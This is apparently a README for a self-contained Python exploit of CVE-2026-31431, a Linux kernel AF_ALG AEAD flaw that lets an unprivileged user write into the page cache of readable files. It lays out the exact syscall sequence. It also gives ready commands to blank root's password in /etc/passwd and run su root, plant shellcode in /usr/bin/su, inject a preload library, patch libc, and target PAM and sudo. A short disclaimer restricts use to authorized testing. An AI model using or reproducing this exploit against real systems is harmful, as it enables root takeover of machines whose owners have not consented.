
Exploit for CVE-2026-31431, a Linux kernel AF_ALG AEAD page-cache write vulnerability enabling unprivileged arbitrary 4-byte writes to readable files for local privilege escalation.
Linux Kernel Page Cache Out-of-Bounds Write Vulnerability (AF_ALG AEAD Scatterlist Chain Error)
The Linux kernel algif_aead interface contains a vulnerability that allows unprivileged users to write arbitrary data to the page cache of any readable file — completely bypassing file permission checks, mandatory access control (MAC), and integrity verification.
The on-disk file content remains unchanged, but all subsequent processes that read the file (including SUID programs, the dynamic linker, execve(), etc.) will see the attacker-modified version until the page cache is reclaimed.
| Item | Description |
|---|---|
| Subsystem | crypto/algif_aead.c |
| Algorithm | authencesn(hmac(sha256),cbc(aes)) |
| Kernel Config | CONFIG_CRYPTO_USER_API_AEAD=y/m (enabled by default on almost all major distributions) |
| Required Privilege | None — only read access to the target file is needed |
| Severity | Local privilege escalation → root |
| Affected Distributions | Ubuntu, Debian, Fedora, RHEL, Arch, openSUSE, etc. |
When performing AEAD decryption via AF_ALG:
sendmsg() + MSG_MORE, containing an attacker-controlled 4-byte seqno_lo.splice().sg_chain.authencesn algorithm writes seqno_lo at offset assoclen + cryptlen in the destination scatterlist — a position that extends past the receive buffer and lands directly in the chained page cache page.EBADMSG error, but the page cache has already been tampered with. sendmsg (AAD) splice (file page)
│ │
▼ ▼
┌──────────┐ sg_chain ┌──────────────────────┐
│ RX buffer │─────────────▶│ page cache page │
│ 8 bytes │ │ (file content) │
└──────────┘ └──────────────────────┘
▲
│
authencesn writes seqno_lo here
offset = assoclen + cryptlen
════ this is the vulnerability ════
seqno_lo are fully controlled by the attacker in the AAD (what to write)splice determines the offset of the write within the page cache (where to write)# Tamper with the /etc/passwd page cache, remove the root password, automatically run su root
./exploit.py escalate
Execution process:
/etc/passwd to /tmp/.passwd.bakroot:x:0:0:root:... to root::0:0:root :... in the page cachesu root (no password required)Example output:
[*] CVE-2026-31431 — Copy Fail
[*] Mode: remove root password via /etc/passwd
[*] Backup: /tmp/.passwd.bak
[*] Before : root:x:0:0:root:/root:/bin/bash
[*] After : root::0:0:root :/root:/bin/bash
[*] Offset : 0
[0x000000] 726f6f74 root
[0x000004] 3a3a303a ::0:
[0x000008] 303a726f 0:ro
[0x00000c] 6f742020 ot
[0x000010] 3a2f726f :/ro
[0x000014] 6f743a2f ot:/
[0x000018] 62696e2f bin/
[0x00001c] 62617368 bash
[+] Success: root::0:0:root :/root:/bin/bash
[*] Recovery: echo 3 > /proc/sys/vm/drop_caches
[*] Running: su root (no password needed)
# Basic syntax
./exploit.py write <file path> <offset> <data>
# Read payload from a binary file
./exploit.py write <file path> <offset> @payload.bin
# Write shellcode to the entry point of a SUID program
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin
# Inject a preload library path
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'
# Tamper with a libc function (e.g., make getuid() return 0)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'
# Method 1: Clear all page cache to restore original on-disk content
echo 3 > /proc/sys/vm/drop_caches
# Method 2: Reboot
reboot
socket(AF_ALG, SOCK_SEQPACKET, 0)
→ bind("aead", "authencesn(hmac(sha256),cbc(aes))")
→ setsockopt(SOL_ALG, ALG_SET_KEY, authenc_key_blob)
→ setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)
→ accept() → request fd
┌─────────────────────────────────────────────┐
│ rta_len (2B) │ rta_type (2B) │ enckeylen (4B) │
│ 0x0008 │ 0x0001 │ 0x00000010 │
├─────────────────────────────────────────────┤
│ auth key (16 bytes of zeros) │
├─────────────────────────────────────────────┤
│ enc key (16 bytes of zeros) │
└─────────────────────────────────────────────┘
The key value is irrelevant — HMAC will inevitably fail, but the out-of-bounds write is completed before verification.
Step 1: sendmsg(req_fd,
AAD = [seqno_hi(4B) | seqno_lo(4B)], ← seqno_lo = value to write
cmsg = [OP=DECRYPT, IV=all zeros, ASSOCLEN=8],
flags = MSG_MORE)
Step 2: pipe_r, pipe_w = pipe()
Step 3: splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)
Step 4: splice(pipe_r → req_fd, count = file_offset + 4)
Step 5: recv(req_fd, ASSOC_LEN + file_offset)
→ triggers authencesn decryption
→ seqno_lo is written to dst SGL offset assoclen + cryptlen
→ that offset lands at file_offset in the page cache page
→ HMAC fails, returns EBADMSG
→ page cache has already been tampered with ✓
dst SGL layout:
[0 .. 7] → RX buffer (AAD receive area)
[8 .. 8 + file_offset + 3] → page cache page (injected via splice)
seqno_lo write position:
dst[assoclen + cryptlen]
= dst[8 + file_offset]
= file_offset in the page cache
∴ attacker controls file_offset → controls write position
attacker controls seqno_lo → controls write content
.
├── exploit.py # Self-contained exploit script (requires only Python 3 + Linux)
└── README.md # This file
This tool is intended solely for authorized security research and penetration testing. Using this tool to attack others' systems without authorization is illegal. Users assume all legal responsibility themselves.
| Constraint | Description |
|---|
| Read permission | The target file must be readable by the current user (O_RDONLY) |
| Alignment | Each write is 4 bytes; trailing bytes shorter than 4 are padded with 0x90 |
| File size | File size must be ≥ offset + data length + 4 bytes |
| Page cache only | On-disk file content is not modified |
| Persistence | Remains valid until the page cache is reclaimed or manually cleared |
| Kernel config | Requires AF_ALG + authencesn availability (present by default on mainstream distributions) |
| Attack Path | Target File | Effect |
|---|
| Remove root password | /etc/passwd | su root without password |
| Inject preload library | /etc/ld.so.preload | All programs load malicious .so |
| Tamper with SUID program | /usr/bin/su, etc. | Execute shellcode to obtain root shell |
| Tamper with libc | /usr/lib/libc.so.6 | Hijack functions like getuid() to return 0 |
| Tamper with PAM module | /usr/lib/security/pam_unix.so | Bypass all authentication |
| Tamper with sudo | /usr/bin/sudo | Any user directly obtains root |